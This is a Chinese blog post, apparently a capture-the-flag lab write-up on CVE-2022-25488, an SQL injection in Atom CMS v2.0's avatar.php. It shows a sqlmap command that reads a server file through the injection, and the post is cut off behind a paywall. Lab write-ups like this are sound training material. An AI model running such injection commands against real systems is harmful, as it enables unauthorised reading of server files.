CVE-2022-25488

最新推荐文章于 2024-07-08 19:36:51 发布
最新推荐文章于 2024-07-08 19:36:51 发布
阅读量182 收藏
点赞数
分类专栏： 春秋云境 文章标签： web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/longlangci/article/details/131270369
版权

文章目录

CVE-2022-25488

一、漏洞介绍

Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面

二、渗透步骤
1、打开网站
http://eci-2zeiglmgxyblyk2g4y5c.cloudeci1.ichunqiu.com/home

在这里插入图片描述

2、SQL注入
http://eci-2zeiglmgxyblyk2g4y5c.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://eci-2zeiglmgxyblyk2g4y5c.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" --file-read "/flag" --dbms mysql --batch

在这里插入图片描述

3、查看flag值
┌──
最低0.47元/天 解锁文章
liebe1*1
关注
专栏目录
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version 3.1.1版本 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： ...
春秋云境：CVE-2022-25488
一只爱吃橙子的羊
11-30 1496
Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面
Atom CMS SQL注入（CVE-2022-25488）
weixin_68999845的博客
08-16 505
CVE-2022-25488
春秋云镜：CVE-2022-25488（SQL报错注入）
m0_65712192的博客
04-21 1357
Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面
Atom CMS v2.0 SQL 注入漏洞（CVE-2022-25488）
热门推荐
Flag少侠的博客
07-03 1万+
打开靶场直接访问则是 404跟上题目的路径查看却是空白删除 avatar.php 文件发现能看到整个目录查看其他文件得到报错信息得到一个参数 id，使用 SQLMap 跟上试试id=1"_____H__[Y/n] n[Y/n] n[y/N] n------很好，接下来就是熟悉的找 flag 了_____H__------[Y/n] n。
sudo-1.9.12p1，解决cve-2022-43995
11-08
"sudo-1.9.12p1"是sudo的一个特定版本，该版本发布是为了修复一个重要的安全漏洞：CVE-2022-43995。 **sudo的基础知识** sudo的核心功能在于提供一种受控的权限提升机制，以增强系统的安全性。它通过sudoers文件来...
春秋云境 CVE-2022-4230 夺旗
05-02
### 春秋云境 CVE-2022-4230 夺旗知识点解析 #### 一、漏洞概述 **CVE-2022-4230** 是一个存在于 **WP Statistics** WordPress 插件（版本13.2.9及以前）中的安全漏洞。该漏洞的主要原因是插件在处理特定参数时...
麒麟Linux kernel本地权限提升漏洞(CVE-2022-0847)漏洞补丁及相关依赖包9
03-15
麒麟Linux kernel本地权限提升漏洞(CVE-2022-0847)漏洞补丁及相关依赖包9 麒麟Linux kernel本地权限提升漏洞(CVE-2022-0847)漏洞补丁及相关依赖包9 麒麟Linux kernel本地权限提升漏洞(CVE-2022-0847)漏洞补丁及相关...
Atom CMS SQL注入漏洞 （CVE-2022-25488）
千寻的博客
12-01 1676
Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面
【春秋云境】CVE-2022-25488靶场WP和CVE-2022-25401靶场WP
果粒程
11-30 1348
【春秋云境】CVE-2022-25488靶场WP和CVE-2022-25401靶场WP
【春秋云境】CVE-2022-25488
ZXW_NUDT的博客
02-22 2622
【春秋云境】CVE-2022-25488
CVE-2022-25488漏洞复现
2301_78321656的博客
07-10 1466
靶标介绍：Atom CMS v2.0 存在注入漏洞在/admin/ajax/avatar.php页面。5.尝试添加id=1，访问还是空白页面，再看查看源代码，里面是有东西的。3.根据题目提示可以查看/admin/ajax。6.直接利用load_file读取flag。4.存在目标点，直接点击访问就是空白页面。1.打开靶场，并进行访问。
春秋云镜 CVE-2022-25488
qq_22002773的博客
07-01 254
春秋云镜 CVE-2022-25488
Atom CMS v2.0 SQL 注入漏洞（CVE-2022-24223）
最新发布
Flag少侠的博客
07-08 9454
打开靶场进入靶场是这样一个东西这里不存在漏洞点，漏洞点在 admin/login.php 中随便输入数值登录打开 BurpSuite 拦截数据包复制数据包的值到 txt 文件中这里跳过了前面爆库爆表环节，直接找 flag_____H__------[Y/n] n1[1 entry]| flag |
春秋云镜wp day1
xy404的博客
10-13 3715
今天看到之前买了内网渗透那本书，今天看到靶场上线了，打一天玩一下，总体cve的洞很好刷，比打CTF轻松多了。
春秋云境系列靶场记录（合集）-不再更新
一只爱吃橙子的羊
11-29 7692
春秋云境系列靶场记录合集，不更新了哈……
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

liebe1*1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值